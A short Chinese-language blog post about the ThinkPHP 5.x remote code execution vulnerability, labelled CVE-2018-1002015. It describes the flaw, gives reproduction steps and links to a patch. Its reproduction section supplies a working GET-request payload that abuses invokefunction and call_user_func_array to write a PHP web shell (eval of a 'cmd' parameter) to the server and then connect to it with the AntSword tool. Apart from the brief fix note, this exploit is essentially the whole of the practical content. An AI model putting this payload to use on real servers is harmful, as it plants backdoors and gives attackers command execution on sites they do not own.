本文主要是介绍thinkphp命令执行漏洞(CVE-2018-1002015)，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
漏洞描述：
ThinkPHP 5.0.x版本和5.1.x版本中存在远程代码执行漏洞，该漏洞源于ThinkPHP在获取控制器名时未对用户提交的参数进行严格的过滤。远程攻击者可通过输入‘＼’字符的方式调用任意方法利用该漏洞执行代码。
复现过程：
1.访问ip：port
2.抓包，修改get请求
Payload
/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=webshell.php&vars[1][]=<?php%20eval($_GET[cmd]);?>
3.蚁剑连接
修复建议：
用户可下载官方发布的补丁：
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
这篇关于thinkphp命令执行漏洞(CVE-2018-1002015)的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
